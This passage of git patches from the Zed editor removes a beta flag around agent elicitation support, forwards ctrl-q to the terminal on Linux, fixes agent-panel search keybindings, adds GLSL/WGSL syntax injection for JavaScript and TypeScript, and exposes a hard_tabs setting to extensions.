         .fs(acp::FileSystemCapabilities::new()
             .read_text_file(true)
             .write_text_file(true))
@@ -778,17 +775,12 @@ fn client_capabilities_for_agent(
                     .boolean(acp::BooleanConfigOptionCapabilities::new()),
             ),
         )
-        .meta(meta);
-
-    if supports_beta_features {
-        capabilities = capabilities.elicitation(
+        .elicitation(
             acp::ElicitationCapabilities::new()
                 .form(acp::ElicitationFormCapabilities::new())
                 .url(acp::ElicitationUrlCapabilities::new()),
-        );
-    }
-
-    capabilities
+        )
+        .meta(meta)
 }
 
 impl AcpConnection {
@@ -980,10 +972,7 @@ impl AcpConnection {
         let initialize_response = connection
             .send_request(
                 acp::InitializeRequest::new(ProtocolVersion::V1)
-                    .client_capabilities(client_capabilities_for_agent(
-                        &agent_id,
-                        cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()),
-                    ))
+                    .client_capabilities(client_capabilities_for_agent(&agent_id))
                     .client_info(
                         acp::Implementation::new("zed", version)
                             .title(release_channel.map(ToOwned::to_owned)),
@@ -2698,7 +2687,6 @@ mod tests {
 
     use super::*;
     use feature_flags::FeatureFlag as _;
-    use gpui::UpdateGlobal as _;
     use settings::Settings as _;
 
     fn init_feature_flags_test(cx: &mut gpui::TestAppContext) {
@@ -2710,50 +2698,15 @@ mod tests {
         });
     }
 
-    fn set_acp_beta_override(value: &str, cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            SettingsStore::update_global(cx, |store, cx| {
-                store.update_user_settings(cx, |content| {
-                    content
-                        .feature_flags
-                        .get_or_insert_default()
-                        .insert(AcpBetaFeatureFlag::NAME.to_string(), value.to_string());
-                });
-            });
-        });
-    }
-
-    #[gpui::test]
-    async fn client_capabilities_omit_elicitation_without_acp_beta(cx: &mut gpui::TestAppContext) {
-        init_feature_flags_test(cx);
-        set_acp_beta_override("off", cx);
-
-        let capabilities = cx.update(|cx| {
-            client_capabilities_for_agent(
-                &AgentId::new("codex-acp"),
-                cx.has_flag::<AcpBetaFeatureFlag>(),
-            )
-        });
-
-        assert!(capabilities.elicitation.is_none());
-    }
-
     #[gpui::test]
-    async fn client_capabilities_include_elicitation_with_acp_beta(cx: &mut gpui::TestAppContext) {
+    async fn client_capabilities_include_elicitation_without_acp_beta(
+        cx: &mut gpui::TestAppContext,
+    ) {
         init_feature_flags_test(cx);
-        cx.update(|cx| {
-            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
-        });
-
-        let capabilities = cx.update(|cx| {
-            client_capabilities_for_agent(
-                &AgentId::new("codex-acp"),
-                cx.has_flag::<AcpBetaFeatureFlag>(),
-            )
-        });
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"));
         let elicitation = capabilities
             .elicitation
-            .expect("elicitation should be advertised when acp-beta is enabled");
+            .expect("elicitation should always be advertised");
 
         assert!(elicitation.form.is_some());
         assert!(elicitation.url.is_some());
@@ -3016,7 +2969,7 @@ mod tests {
 
     #[test]
     fn cursor_client_capabilities_include_parameterized_model_picker_meta() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID), false);
+        let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID));
         let meta = capabilities
             .meta
             .expect("expected client capabilities meta");
@@ -3031,7 +2984,7 @@ mod tests {
 
     #[test]
     fn non_cursor_client_capabilities_do_not_include_parameterized_model_picker_meta() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"));
         let meta = capabilities
             .meta
             .expect("expected client capabilities meta");
@@ -3041,7 +2994,7 @@ mod tests {
 
     #[test]
     fn client_capabilities_include_boolean_config_options() {
-        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"), false);
+        let capabilities = client_capabilities_for_agent(&AgentId::new("codex-acp"));
 
         assert!(
             capabilities
@@ -4566,13 +4519,6 @@ fn handle_create_elicitation(
     cx: &mut AsyncApp,
     ctx: &ClientContext,
 ) {
-    if !cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()) {
-        return respond_err(
-            responder,
-            acp::Error::invalid_params().data("elicitation support requires the ACP beta flag"),
-        );
-    }
-
     match args.scope() {
         acp::ElicitationScope::Session(scope) => {
             let thread = match session_thread(ctx, &scope.session_id) {
@@ -4661,10 +4607,6 @@ fn handle_complete_elicitation(
     cx: &mut AsyncApp,
     ctx: &ClientContext,
 ) {
-    if !cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()) {
-        return;
-    }
-
     let threads = ctx
         .sessions
         .borrow()
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 110961b34f1a48..7b6dd48ca65e69 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -23,7 +23,6 @@ use editor::scroll::Autoscroll;
 use editor::{
     Editor, EditorEvent, EditorMode, MultiBuffer, PathKey, SelectionEffects, SizingBehavior,
 };
-use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use file_icons::FileIcons;
 use fs::Fs;
 use futures::FutureExt as _;
@@ -277,7 +276,7 @@ impl Conversation {
         let session_id = thread.read(cx).session_id().clone();
         let subscription = cx.subscribe(&thread, {
             let session_id = session_id.clone();
-            move |this, _thread, event, cx| {
+            move |this, _thread, event, _cx| {
                 this.updated_at = Some(Instant::now());
                 match event {
                     AcpThreadEvent::ToolAuthorizationRequested(id) => {
@@ -294,15 +293,12 @@ impl Conversation {
                             }
                         }
                     }
-                    AcpThreadEvent::ElicitationRequested(id)
-                        if cx.has_flag::<AcpBetaFeatureFlag>() =>
-                    {
+                    AcpThreadEvent::ElicitationRequested(id) => {
                         this.elicitation_requests
                             .entry(session_id.clone())
                             .or_default()
                             .push(id.clone());
                     }
-                    AcpThreadEvent::ElicitationRequested(_) => {}
                     AcpThreadEvent::ElicitationResponded(id) => {
                         if let Some(elicitations) = this.elicitation_requests.get_mut(&session_id) {
                             elicitations.retain(|elicitation_id| elicitation_id != id);
@@ -422,10 +418,6 @@ impl Conversation {
         response: acp::CreateElicitationResponse,
         cx: &mut Context<Self>,
     ) -> Option<()> {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return None;
-        }
-
         let thread = self.threads.get(&session_id)?.clone();
         thread.update(cx, |thread, cx| {
             thread.respond_to_elicitation(&elicitation_id, response, cx);
@@ -1652,10 +1644,9 @@ impl ConversationView {
                 self.notify_with_sound("Waiting for tool confirmation", IconName::Info, window, cx);
             }
             AcpThreadEvent::ToolAuthorizationReceived(_) => {}
-            AcpThreadEvent::ElicitationRequested(_) if cx.has_flag::<AcpBetaFeatureFlag>() => {
+            AcpThreadEvent::ElicitationRequested(_) => {
                 self.notify_with_sound("Waiting for input", IconName::Info, window, cx);
             }
-            AcpThreadEvent::ElicitationRequested(_) => {}
             AcpThreadEvent::ElicitationResponded(_) => {}
             AcpThreadEvent::Retry(retry) => {
                 if let Some(active) = self.thread_view(&session_id) {
@@ -2347,11 +2338,6 @@ impl ConversationView {
     }
 
     fn sync_request_elicitation_states(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            self.request_elicitation_form_states.clear();
-            return;
-        }
-
         let Some(store) = self.request_elicitation_store() else {
             self.request_elicitation_form_states.clear();
             return;
@@ -2397,10 +2383,6 @@ impl ConversationView {
         view: WeakEntity<Self>,
         cx: &App,
     ) -> Vec<AnyElement> {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return Vec::new();
-        }
-
         let Some(store) = connection.request_elicitations() else {
             return Vec::new();
         };
@@ -2529,10 +2511,6 @@ impl ConversationView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         let Some(store) = self.request_elicitation_store() else {
             return;
         };
@@ -2581,10 +2559,6 @@ impl ConversationView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         self.respond_to_request_elicitation(
             elicitation_id,
             acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
@@ -2598,10 +2572,6 @@ impl ConversationView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         self.respond_to_request_elicitation(
             elicitation_id,
             acp::CreateElicitationResponse::new(acp::ElicitationAction::Cancel),
@@ -3634,7 +3604,7 @@ pub(crate) mod tests {
     use agent_servers::FakeAcpAgentServer;
     use editor::MultiBufferOffset;
     use editor::actions::Paste;
-    use feature_flags::{FeatureFlag as _, FeatureFlagAppExt as _};
+    use feature_flags::{AcpBetaFeatureFlag, FeatureFlag as _, FeatureFlagAppExt as _};
     use fs::FakeFs;
     use gpui::{ClipboardItem, EventEmitter, TestAppContext, VisualTestContext, point, size};
     use parking_lot::Mutex;
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 8e302db68d06b9..c1fe29024872e3 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -20,7 +20,6 @@ use agent_settings::UserAgentsMd;
 use agent_skills::MAX_SKILL_DESCRIPTION_LEN;
 use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
 use editor::actions::OpenExcerpts;
-use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
 use crate::completion_provider::{AvailableSkill, PromptLocalCommand};
@@ -2518,26 +2517,18 @@ impl ThreadView {
         Some(())
     }
 
-    fn is_waiting_for_confirmation(&self, entry: &AgentThreadEntry, cx: &Context<Self>) -> bool {
-        match entry {
-            AgentThreadEntry::ToolCall(tool_call) => {
-                matches!(
-                    tool_call.status,
-                    ToolCallStatus::WaitingForConfirmation { .. }
-                )
-            }
-            AgentThreadEntry::Elicitation(elicitation_id) => {
-                cx.has_flag::<AcpBetaFeatureFlag>()
-                    && self
-                        .thread
-                        .read(cx)
-                        .elicitation(elicitation_id)
-                        .is_some_and(|(_, elicitation)| {
+    fn has_pending_request_elicitation(&self, cx: &App) -> bool {
+        self.server_view
+            .read_with(cx, |server_view, cx| {
+                server_view
+                    .request_elicitation_store()
+                    .is_some_and(|store| {
+                        store.read(cx).elicitations().iter().any(|elicitation| {
                             matches!(elicitation.status, ElicitationStatus::Pending { .. })
                         })
-            }
-            _ => false,
-        }
+                    })
+            })
+            .unwrap_or(false)
     }
 
     pub fn sync_elicitation_state_for_entry(
@@ -2555,11 +2546,6 @@ impl ThreadView {
             elicitation_id.clone()
         };
 
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            self.elicitation_form_states.remove(&elicitation_id);
-            return;
-        }
-
         let thread = self.thread.read(cx);
         let entry = thread.elicitation(&elicitation_id).map(|(_, elicitation)| {
             (
@@ -2605,10 +2591,6 @@ impl ThreadView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         let mode = self
             .thread
             .read(cx)
@@ -2654,10 +2636,6 @@ impl ThreadView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         self.respond_to_elicitation(
             elicitation_id,
             acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
@@ -2671,10 +2649,6 @@ impl ThreadView {
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if !cx.has_flag::<AcpBetaFeatureFlag>() {
-            return;
-        }
-
         self.respond_to_elicitation(
             elicitation_id,
             acp::CreateElicitationResponse::new(acp::ElicitationAction::Cancel),
@@ -6010,9 +5984,8 @@ impl ThreadView {
                     let rendered = this.render_entry(index, entries.len(), entry, window, cx);
                     centered_container(rendered.into_any_element()).into_any_element()
                 } else if this.generating_indicator_in_list {
-                    let confirmation = entries
-                        .last()
-                        .is_some_and(|entry| this.is_waiting_for_confirmation(entry, cx));
+                    let confirmation = this.thread.read(cx).is_waiting_for_confirmation()
+                        || this.has_pending_request_elicitation(cx);
                     let rendered = this.render_generating(confirmation, cx);
                     centered_container(rendered.into_any_element()).into_any_element()
                 } else {
@@ -6333,8 +6306,7 @@ impl ThreadView {
             }
             AgentThreadEntry::Elicitation(elicitation_id) => {
                 let thread = self.thread.read(cx);
-                if cx.has_flag::<AcpBetaFeatureFlag>()
-                    && let Some((_, elicitation)) = thread.elicitation(elicitation_id)
+                if let Some((_, elicitation)) = thread.elicitation(elicitation_id)
                     && should_render_elicitation(elicitation)
                 {
                     let elicitation = self.render_elicitation(entry_ix, elicitation, window, cx);
@@ -6426,7 +6398,8 @@ impl ThreadView {
             primary
         };
 
-        let needs_confirmation = self.is_waiting_for_confirmation(entry, cx);
+        let needs_confirmation = thread.read(cx).is_waiting_for_confirmation()
+            || self.has_pending_request_elicitation(cx);
 
         let comments_editor = self.thread_feedback.comments_editor.clone();
 
diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index faa760b73a6ad9..bdc79beacc9433 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -713,7 +713,6 @@ mod tests {
     use agent_client_protocol::schema::v1 as acp;
     use buffer_diff::{DiffHunkStatus, DiffHunkStatusKind};
     use editor::RowInfo;
-    use feature_flags::{AcpBetaFeatureFlag, FeatureFlag as _, FeatureFlagAppExt as _};
     use fs::FakeFs;
     use gpui::{AppContext as _, TestAppContext};
     use parking_lot::RwLock;
@@ -851,11 +850,8 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_hidden_elicitation_preserves_entry_index(cx: &mut TestAppContext) {
+    async fn test_elicitation_preserves_entry_index(cx: &mut TestAppContext) {
         init_test(cx);
-        cx.update(|cx| {
-            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
-        });
 
         let fs = FakeFs::new(cx.executor());
         fs.insert_tree("/project", json!({})).await;
@@ -900,7 +896,6 @@ mod tests {
                 )),
                 cx,
             );
-            cx.update_flags(false, vec![]);
         });
 
         let view_state = cx.new(|_cx| {

From 5cf706ceebe9d8c89e00bf3f8559931009908ffa Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Fri, 10 Jul 2026 12:29:50 +0100
Subject: [PATCH 378/772] terminal_view: Forward ctrl-q to PTY when terminal is
 focused on Linux (#58879)

## Context

On Linux, `ctrl-q` is globally bound to `zed::Quit`. When a
`TerminalView` is focused, pressing `ctrl-q` quit the application
instead of forwarding the keycode to the shell, breaking programs like
`ftp`, `tig`, and any app that uses XON/XOFF flow control.

Windows already had the fix: its `Terminal` keymap context overrides
`ctrl-q` with `["terminal::SendKeystroke", "ctrl-q"]`. The Linux keymap
was simply missing that override.

Closes #58809

Manual test after fix below :

[Screencast from 2026-06-09
00-46-37.webm](https://github.com/user-attachments/assets/3d103b2a-bff1-4559-af1d-2a52d57a6b18)


## How to Review

- **`assets/keymaps/default-linux.json`** : One-line addition in the
`Terminal` context under the "Overrides for conflicting keybindings"
comment, mirroring the existing Windows entry.
- **`crates/terminal_view/src/terminal_view.rs`** : Regression test
`ctrl_q_is_forwarded_to_terminal_not_quit` (Linux-only, `#[cfg(target_os
= "linux")]`): loads the default keymap, focuses a display-only
terminal, simulates `ctrl-q`, and asserts the PTY receives byte `0x11`
instead of the quit action firing.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `ctrl-q` quitting Zed instead of being forwarded to the shell
when a terminal is focused on Linux
---
 assets/keymaps/default-linux.json         |  1 +
 crates/terminal_view/src/terminal_view.rs | 22 ++++++++++++++++++++++
 2 files changed, 23 insertions(+)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 8799e032bfa6bc..f5c2bd2864f250 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1240,6 +1240,7 @@
       "ctrl-c": ["terminal::SendKeystroke", "ctrl-c"],
       "ctrl-e": ["terminal::SendKeystroke", "ctrl-e"],
       "ctrl-o": ["terminal::SendKeystroke", "ctrl-o"],
+      "ctrl-q": ["terminal::SendKeystroke", "ctrl-q"],
       "ctrl-w": ["terminal::SendKeystroke", "ctrl-w"],
       "ctrl-r": ["terminal::SendKeystroke", "ctrl-r"],
       "ctrl-backspace": ["terminal::SendKeystroke", "ctrl-w"],
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index 3b1e6db97fca52..a323da81b5052f 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -2316,6 +2316,28 @@ mod tests {
         );
     }
 
+    #[cfg(target_os = "linux")]
+    #[gpui::test]
+    async fn ctrl_q_is_forwarded_to_terminal_not_quit(cx: &mut TestAppContext) {
+        let (project, _workspace, window_handle) = init_test_with_window(cx).await;
+        cx.update(load_default_keymap);
+        let (_pane, terminal, _terminal_view) =
+            add_display_only_terminal(&project, window_handle, true, cx);
+
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+        cx.update(|window, cx| {
+            let _ = window.draw(cx);
+        });
+        cx.run_until_parked();
+
+        cx.simulate_keystrokes("ctrl-q");
+        assert_eq!(
+            terminal.update(&mut cx, |terminal, _| terminal.take_input_log()),
+            vec![vec![0x11]],
+            "ctrl-q in a focused terminal should send 0x11 to the PTY, not trigger zed::Quit",
+        );
+    }
+
     // Working directory calculation tests
 
     // No Worktrees in project -> home_dir()

From 585e4aab0891effe0875fc7329b6bd50e7705750 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Fri, 10 Jul 2026 13:38:53 +0200
Subject: [PATCH 379/772] agent: Fix cmd-f not working when buffer is open
 (#60750)

Turns out I only tested it with all tabs closed, the keybinding would
only work when all tabs were closed and you focused the agent panel. If
a file was opened in the center pane, cmd-f would open a search in that
file instead of searching in the agent panel, even if the thread view as
focused.

Closes #60686

Release Notes:

- agent: Fixed an issue where cmd-f would not work if file is open in
center pane
---
 assets/keymaps/default-linux.json   | 10 +++-------
 assets/keymaps/default-macos.json   |  9 ++-------
 assets/keymaps/default-windows.json |  9 ++-------
 crates/agent_ui/src/agent_panel.rs  |  1 -
 4 files changed, 7 insertions(+), 22 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index f5c2bd2864f250..58bfc4b10e78c5 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -298,13 +298,6 @@
       "alt-r": "search::ToggleRegex",
     },
   },
-  {
-    "context": "AgentTerminalThread",
-    "use_key_equivalents": true,
-    "bindings": {
-      "ctrl-f": "agent::ToggleSearch",
-    },
-  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
@@ -326,6 +319,7 @@
     "context": "AcpThread > Editor",
     "use_key_equivalents": true,
     "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
       "ctrl-alt-pageup": "agent::ScrollOutputPageUp",
       "ctrl-alt-pagedown": "agent::ScrollOutputPageDown",
       "ctrl-alt-home": "agent::ScrollOutputToTop",
@@ -1271,7 +1265,9 @@
   },
   {
     "context": "AgentPanel > Terminal",
+    "use_key_equivalents": true,
     "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
       "ctrl-n": "agent::NewThread",
     },
   },
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index de0f8bd2b46b6c..0bf5b95fe58419 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -336,13 +336,6 @@
       "alt-cmd-x": "search::ToggleRegex",
     },
   },
-  {
-    "context": "AgentTerminalThread",
-    "use_key_equivalents": true,
-    "bindings": {
-      "cmd-f": "agent::ToggleSearch",
-    },
-  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
@@ -364,6 +357,7 @@
     "context": "AcpThread > Editor",
     "use_key_equivalents": true,
     "bindings": {
+      "cmd-f": "agent::ToggleSearch",
       "ctrl-pageup": "agent::ScrollOutputPageUp",
       "ctrl-pagedown": "agent::ScrollOutputPageDown",
       "ctrl-home": "agent::ScrollOutputToTop",
@@ -1341,6 +1335,7 @@
     "context": "AgentPanel > Terminal",
     "use_key_equivalents": true,
     "bindings": {
+      "cmd-f": "agent::ToggleSearch",
       "cmd-n": "agent::NewThread",
     },
   },
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index acc2a82e18ecb8..d373b94f6492aa 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -299,13 +299,6 @@
       "alt-r": "search::ToggleRegex",
     },
   },
-  {
-    "context": "AgentTerminalThread",
-    "use_key_equivalents": true,
-    "bindings": {
-      "ctrl-f": "agent::ToggleSearch",
-    },
-  },
   {
     "context": "AcpThreadSearchBar",
     "use_key_equivalents": true,
@@ -327,6 +320,7 @@
     "context": "AcpThread > Editor",
     "use_key_equivalents": true,
     "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
       "ctrl-alt-pageup": "agent::ScrollOutputPageUp",
       "ctrl-alt-pagedown": "agent::ScrollOutputPageDown",
       "ctrl-alt-home": "agent::ScrollOutputToTop",
@@ -1285,6 +1279,7 @@
     "context": "AgentPanel > Terminal",
     "use_key_equivalents": true,
     "bindings": {
+      "ctrl-f": "agent::ToggleSearch",
       "ctrl-n": "agent::NewThread",
     },
   },
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index cc5a6a55bb333f..8ff5e046a46003 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -6485,7 +6485,6 @@ impl Render for AgentPanel {
                         .and_then(|terminal_id| self.terminals.get(&terminal_id))
                         .and_then(|terminal| terminal.search_bar.clone());
                     let terminal_content = v_flex()
-                        .key_context("AgentTerminalThread")
                         .size_full()
                         .when_some(search_bar, |this, search_bar| {
                             this.when(!search_bar.read(cx).is_dismissed(), |this| {

From 0953838ec24ce43b96fe9aeef2e4d620a2372578 Mon Sep 17 00:00:00 2001
From: Sergey Borovikov <48716255+foretoo@users.noreply.github.com>
Date: Fri, 10 Jul 2026 12:45:13 +0100
Subject: [PATCH 380/772] javascript, typescript: Inject GLSL and WGSL syntax
 in comment-labeled template literals (#55341)

Extends the existing ECMAScript comment-label injection system to
support GLSL and WGSL shader languages inside JS/TS strings and template
literals.

The pattern `/* language */` before a string is already used for `html`,
`sql`, `graphql`, and `css`. This adds the same support for two shader
languages commonly embedded as strings in WebGL/WebGPU code:

before:
<img width="460" height="300" alt="Screenshot 2026-04-30 at 23 07 05"
src="https://github.com/user-attachments/assets/8952eddc-2f53-42ea-b086-7a0b63dceb10"
/>

after:
<img width="460" height="300" alt="Screenshot 2026-04-30 at 23 07 39"
src="https://github.com/user-attachments/assets/93bf536a-9df4-438b-af7b-382efda196ca"
/>

Syntax highlighting activates when the corresponding extension is
installed:
- GLSL: the built-in `glsl` extension
- WGSL: the community extension
[`wgsl-wesl-zed`](https://github.com/lucascompython/wgsl-wesl-zed)
(language name `WGSL/WESL`)

Both `/*glsl*/` and `/* glsl */` forms are accepted (same behavior as
the existing patterns).

Release Notes:

- Added `/*glsl*/` and `/*wgsl*/` comment-label syntax injection for
JavaScript and TypeScript template literals
---
 crates/grammars/src/javascript/injections.scm | 22 +++++++++++++++++++
 crates/grammars/src/typescript/injections.scm | 22 +++++++++++++++++++
 2 files changed, 44 insertions(+)

diff --git a/crates/grammars/src/javascript/injections.scm b/crates/grammars/src/javascript/injections.scm
index 8ccfc5028dea45..9d07511f952ed6 100644
--- a/crates/grammars/src/javascript/injections.scm
+++ b/crates/grammars/src/javascript/injections.scm
@@ -142,3 +142,25 @@
   ])
   (#match? @_ecma_comment "^\\/\\*\\s*(css)\\s*\\*\\/")
   (#set! injection.language "css"))
+
+; '/* glsl */' or '/*glsl*/'
+(((comment) @_ecma_comment
+  [
+    (string
+      (string_fragment) @injection.content)
+    (template_string
+      (string_fragment) @injection.content)
+  ])
+  (#match? @_ecma_comment "^\\/\\*\\s*glsl\\s*\\*\\/")
+  (#set! injection.language "glsl"))
+
+; '/* wgsl */' or '/*wgsl*/'
+(((comment) @_ecma_comment
+  [
+    (string
+      (string_fragment) @injection.content)
+    (template_string
+      (string_fragment) @injection.content)
+  ])
+  (#match? @_ecma_comment "^\\/\\*\\s*wgsl\\s*\\*\\/")
+  (#set! injection.language "WGSL/WESL"))
diff --git a/crates/grammars/src/typescript/injections.scm b/crates/grammars/src/typescript/injections.scm
index a8cf9a41b5f90a..19ffe6979183c2 100644
--- a/crates/grammars/src/typescript/injections.scm
+++ b/crates/grammars/src/typescript/injections.scm
@@ -197,3 +197,25 @@
   ])
   (#match? @_ecma_comment "^\\/\\*\\s*(css)\\s*\\*\\/")
   (#set! injection.language "css"))
+
+; '/* glsl */' or '/*glsl*/'
+(((comment) @_ecma_comment
+  [
+    (string
+      (string_fragment) @injection.content)
+    (template_string
+      (string_fragment) @injection.content)
+  ])
+  (#match? @_ecma_comment "^\\/\\*\\s*glsl\\s*\\*\\/")
+  (#set! injection.language "glsl"))
+
+; '/* wgsl */' or '/*wgsl*/'
+(((comment) @_ecma_comment
+  [
+    (string
+      (string_fragment) @injection.content)
+    (template_string
+      (string_fragment) @injection.content)
+  ])
+  (#match? @_ecma_comment "^\\/\\*\\s*wgsl\\s*\\*\\/")
+  (#set! injection.language "WGSL/WESL"))

From c5383ce5d41d4bdb76e852ad8b47c57802a4c9f9 Mon Sep 17 00:00:00 2001
From: Roman Cinis <52065414+tsinis@users.noreply.github.com>
Date: Fri, 10 Jul 2026 13:51:16 +0200
Subject: [PATCH 381/772] extension_api: Expose hard_tabs in LanguageSettings
 (#52560)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #21822
The issue is closed already, but it was requested to provide the
`hard_tabs` boolean param.

Follow-up to #52175
Reviewed by @maxdeviant (it already bumped the settings path to v0.8.0,
so this `hard_tabs` change only needs 2 files, 2-3 lines of code
additions).


## Context

Exposes `hard_tabs` from `AllLanguageSettings` to the Extension
API's `LanguageSettings` struct. Currently, only `tab_size` and
`preferred_line_length` are available to extensions, which prevents
language extensions (e.g., Go, C++) from reading the user's hard tabs
preference and forwarding it to their language server or formatter
(e.g., as rustfmt.hard_tabs or clang-format.UseTab).

Related:
https://github.com/zed-industries/zed/issues/21822#issuecomment-4139809956

## How to Review

Small change — follow how `tab_size` is plumbed through:
1. WIT definition (`language-settings` record)
2. `extension_api` Rust struct
3. Host-side bridge conversion

The new field follows the exact same pattern.

## Self-Review Checklist

<!-- Check before requesting review: -->
- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
  - Compile-time verified via WIT bindings; no runtime behavior change
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/extension_api/wit/since_v0.8.0/settings.rs       | 2 ++
 crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs | 1 +
 2 files changed, 3 insertions(+)

diff --git a/crates/extension_api/wit/since_v0.8.0/settings.rs b/crates/extension_api/wit/since_v0.8.0/settings.rs
index 7c77dc79baf7ab..0f8d2c52b2cf81 100644
--- a/crates/extension_api/wit/since_v0.8.0/settings.rs
+++ b/crates/extension_api/wit/since_v0.8.0/settings.rs
@@ -6,6 +6,8 @@ use std::{collections::HashMap, num::NonZeroU32};
 pub struct LanguageSettings {
     /// How many columns a tab should occupy.
     pub tab_size: NonZeroU32,
+    /// Whether to indent with hard tabs (true) or spaces (false).
+    pub hard_tabs: bool,
     /// The preferred line length (column at which to wrap).
     pub preferred_line_length: u32,
 }
diff --git a/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs b/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
index 15e5ff94062094..25cd0c2d368274 100644
--- a/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
+++ b/crates/extension_host/src/wasm_host/wit/since_v0_8_0.rs
@@ -968,6 +968,7 @@ impl ExtensionImports for WasmState {
                         );
                         Ok(serde_json::to_string(&settings::LanguageSettings {
                             tab_size: settings.tab_size,
+                            hard_tabs: settings.hard_tabs,
                             preferred_line_length: settings.preferred_line_length,
                         })?)
                     }

From 503292376ed04fca814c8b4533b38f90863675fb Mon Sep 17 00:00:00 2001
From: Tyler Benfield <rtbenfield@gmail.com>
Date: Fri, 10 Jul 2026 08:11:57 -0400
Subject: [PATCH 382/772] Fix remote worktree picker hides "Create from
 origin/main" option (#59134)

This passes the `include_remote_name` flag through the remote
`GetDefaultBranch` RPC instead of dropping it at the client/host
boundary. That lets remote repositories resolve default branches as
`origin/main` when needed, so worktree creation uses a valid remote
branch name instead of falling back to `main`.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
